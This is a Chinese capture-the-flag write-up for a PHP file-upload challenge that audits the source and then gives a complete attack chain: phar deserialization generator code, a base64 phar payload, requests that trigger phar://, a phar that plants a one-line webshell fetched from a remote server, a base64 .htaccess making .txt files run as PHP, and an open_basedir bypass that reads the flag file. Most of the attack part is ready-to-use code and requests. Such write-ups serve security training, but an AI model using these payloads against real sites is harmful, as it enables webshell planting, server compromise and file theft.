# 源码

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
    public function __construct($url,$filename) {
        $this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
        $this->url = $url;
        $this->filename  =  $filename;
        if (!file_exists($this->userdir)) {
            mkdir($this->userdir, 0777, true);
        }
    }
    public function checkdir(){
        if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
            die('hacker!!!');
        }
    }
    public function checkurl(){
        $r = parse_url($this->url);
        if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
            die('hacker!!!');
        }
    }
    public function checkext(){
        if (stristr($this->filename,'..')){
            die('hacker!!!');
        }
        if (stristr($this->filename,'/')){
            die('hacker!!!');
        }
        $ext = substr($this->filename, strrpos($this->filename, ".") + 1);
        if (preg_match("/ph/i", $ext)){
            die('hacker!!!');
        }
    }
    public function upload(){
        $this->checkdir();
        $this->checkurl();
        $this->checkext();
        $content = file_get_contents($this->url,NULL,NULL,0,2048);
        if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
            die('hacker!!!');
        }
        file_put_contents($this->userdir."/".$this->filename,$content);
    }
    public function remove(){
        $this->checkdir();
        $this->checkext();
        if (file_exists($this->userdir."/".$this->filename)){
            unlink($this->userdir."/".$this->filename);
        }
    }
    public function count($dir) {
        if ($dir === ''){
            $num = count(scandir($this->userdir)) - 2;
        }
        else {
            $num = count(scandir($dir)) - 2;
        }
        if($num > 0) {
            return "you have $num files";
        }
        else{
            return "you don't have file";
        }
    }
    public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }
    public function __destruct() {
        $string = "your file in : ".$this->userdir;
        file_put_contents($this->filename.".txt", $string);
        echo $string;
    }
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
    highlight_file(__FILE__);
    die();
}
$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
    $dir->upload();
}
elseif ($_POST['action'] === "remove") {
    $dir->remove();
}
elseif ($_POST['action'] === "count") {
    if (!isset($_POST['dir'])){
        echo $dir->count('');
    } else {
        echo $dir->count($_POST['dir']);
    }
}

# 代码审计

upload

  • 创建沙盒
  • 检查 url 不能带 file 和 php,filename 不能带.. 或 /。后缀名不能以 ph 结尾
  • 最后。他会 file_get_contents($url) 。然后不能出现黑名单中的东西。然后再 file_put_contents 写入

remove :
就删除文件。没啥好说的

count :
扫描当前目录有多少文件

提示,绝对路径不一定是 /var/html/www , 所以需要先获取绝对路径

注意到 toString 方法

public function __toString() {
        return implode(" ",scandir(__DIR__."/".$this->userdir));
    }

这个地方会有扫描目录,正常来说想法是让 userdir 为../ , 但是因为有过滤所以用不了。考虑用 phar 反序列化

即让 this->userdir 为一个 dir 类,那么这个 dir 类 __destruct 的时候就不会 check 从而读取目录

# phar 获取绝对路径

先获取绝对路径

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}
$phar = new Phar("phar.phar"); // 后缀名必须为 phar
$phar->startBuffering();
$phar->setStub(" __HALT_COMPILER(); "); // 设置 stub
$o = new dir();
$a = new dir();
$a->userdir='../';
$o->userdir=$a;
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
// 签名自动计算
$phar->stopBuffering();
?>

执行这个文件会生成一个 phar.phar 文件,计算该文件的 base64 值为

IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==

提交请求为

action=upload&filename=phar.txt&url=data:image/png;base64,IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4vIjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO30IAAAAdGVzdC50eHQEAAAAaPXEXgQAAAAMfn/YtgEAAAAAAAB0ZXN0RoxsuC3D8ws4dcXncsEt80xGlOQCAAAAR0JNQg==

image-20220409213528240

再提交请求触发 phar://

action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/phar.txt

image-20220409214553987

# phar 写马

然后再写一个 phar 文件

<?php
class dir{
    public $userdir;
    public $url;
    public $filename;
}
$a=new dir();
$a->filename='/var/www/html/4bac3882938ce191/upload/cc551ab005b2e60fbdc88de809b2c4b1/test';
$a->userdir='一句话木马';
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."__HALT_COMPILER();"); 
$phar->setMetadata($a); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

压缩并且修改后缀名

image-20220409213957902

放服务器上并且放到 web 服务上

image-20220409214117735

远程加载文件

action=upload&filename=1.jpg&url=http://120.79.0.164:1236/1.jpg

触发 phar://

action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/1.jpg

image-20220409220154633

http://0101575a-49f8-4429-ac95-00c10faaa583.node4.buuoj.cn:81/upload/cc551ab005b2e60fbdc88de809b2c4b1/test.txt

image-20220409220356191

上传.htacess 修改解析为 php

action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

然后需要绕过 openbasedir, 直接给 payload

1=ini_set('open_basedir'%2C%20'..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bini_set('open_basedir'%2C%20'%2F')%3Bvar_dump(file_get_contents('%2FF1aG_1s_H4r4'))%3B

image-20220408230015611

请我喝[茶]~( ̄▽ ̄)~*

miku233 微信支付

微信支付

miku233 支付宝

支付宝

miku233 贝宝

贝宝